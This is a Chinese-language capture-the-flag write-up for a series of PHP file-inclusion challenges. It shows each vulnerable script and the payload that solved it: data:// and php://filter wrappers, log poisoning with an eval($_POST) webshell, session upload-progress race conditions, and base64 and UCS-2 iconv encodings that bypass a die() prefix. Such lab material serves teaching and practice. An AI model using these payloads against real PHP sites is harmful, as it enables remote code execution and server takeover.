文件包含
第七十八题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
利用data协议执行系统命令
data://text/plain,<?php system('cat flag.php');?>
查看源码获得flag,此处不能直接包含flag.php,因为flag.php文件里面没有输出flag变量(纯文件可以直接包含,include包含纯文件的时候直接html输出)
第七十九题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php关键字
利用data协议,标签的php关键字用短标签代替,文件名的php关键字用通配符代替
data://text/plain,<?=system('cat flag.???');>
查看源码获得flag
第八十题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,data,data协议和php伪协议用不了
利用包含日志文件getshell
向日志文件写入一句话
?file=<?=eval($_POST[1]);?> #需要用短标签
包含日志文件
?file=/var/log/nginx/access.log
蚁剑连接获得flag
第八十一题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤增加了冒号
同上,包含日志文件getshell
第八十二题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤多了点,无法包含日志文件
利用php默认配置生成session文件及条件竞争getshell
#php5.4以上默认配置
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.use_strict_mode=off
#第一条配置效果为服务端接收到文件时自动初始化session,并生成一个session文件记录文件的上传时间等信息
#第二条配置效果为上传文件结束后自动清理生成的session文件
#第三条配置和第四条配置组合起来成为生成的session文件中的一个键值
#键值为upload_progress_表单PHP_SESSION_UPLOAD_PROGRESS值
#最后一条配置简单理解为Cookie中的PHPSESSID可以控制,生成的session文件名为sess_PHPSESSID值
本地构造数据包
<!DOCTYPE html>
<html>
<body>
<form action="http://7fd79180-0a7f-4a6f-b7be-58a18b0264db.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
捉包修改PHPSESSID值(过滤了点,文件名不能带后缀),条件竞争生成文件
包含生成的文件getshell(生成的文件在当前目录)
第八十三题
<?php
session_unset(); #释放当前在内存中已经创建的所有$_SESSION变量,但是不删除session文件以及不释放对应的session id
session_destroy(); #删除当前用户对应的session文件以及释放session id,内存中$_SESSION变量内容依然保留
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上,新增的两个函数无法完全防御条件竞争
第八十四题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
新增了删除操作,仍然可以条件竞争
第八十五题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){ #strpos() 函数查找字符串在另一字符串中第一次出现的位置。
die("error");
}
include($file);
}
}
过滤文件内容中的左尖括号,无法完全阻止条件竞争
第八十六题
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
set_include_path函数无法阻止条件竞争,绝对路径和相对路径都可用
第八十七题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
file_put_contents函数可以控制协议,利用php://filter协议getshell
base64解码只能识别 a-z0-9A-Z+] 六十四个字符
<?php die('大佬别秀了');?> #base解码只识别phpdie
base64解码以4个byte一组,phpdie加上两个字符恰好两组
payload如下:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30 #为php://filter/write=convert.base64-decode/resource=3.php的二次url编码
content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4= #aa为与前面phpdie凑够8byte,后面的为<?php eval($_POST['a']);?>的base64编码
第八十八题
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤冒号,可以使用data协议base64编码绕过
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4 #64编码生成的=去掉
第一百一十六题
包含/var/www/html/index.php,得到源码
<?php
error_reporting(0);
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>
data协议,php伪协议,日志文件,条件竞争都被过滤
直接包含flag.php获得flag
第一百一十七题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
把一些常用的编码和过滤器过滤了,属于绕过死亡die
iconv过滤器,效果等同iconv函数(函数作用为字符串按要求的字符编码来转换)
iconv(编码类型一,编码类型二,字符串) #把字符串从编码类型一转换为编码类型二
usc-2编码的作用是对目标字符串每两位进行一反转,因为是每两位进行一反转,所以字符串要为偶数位
$test = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[1]);?>');
echo "第一次转换:".$test;
$test = iconv("UCS-2LE","UCS-2BE", $test);
echo "第二次转换:".$test;
#第一次转换:?<hp pvela$(P_SO[T]1;)>?第二次转换:<?php eval($_POST[1]);?>
payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
contents=?<hp pvela$(P_SO[T]1;)>? #die经过编码转换后无效,一句话再次编码转换变回正常一句话
参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://www.wlhhlc.top/posts/14827/#web117
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MGrRPlMO-1622816747647)(C:\Users\0202\AppData\Roaming\Typora\typora-user-images\image-20210521235145919.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZYhPBrZ1-1622816747650)(C:\Users\0202\AppData\Roaming\Typora\typora-user-images\image-20210521235255170.png)]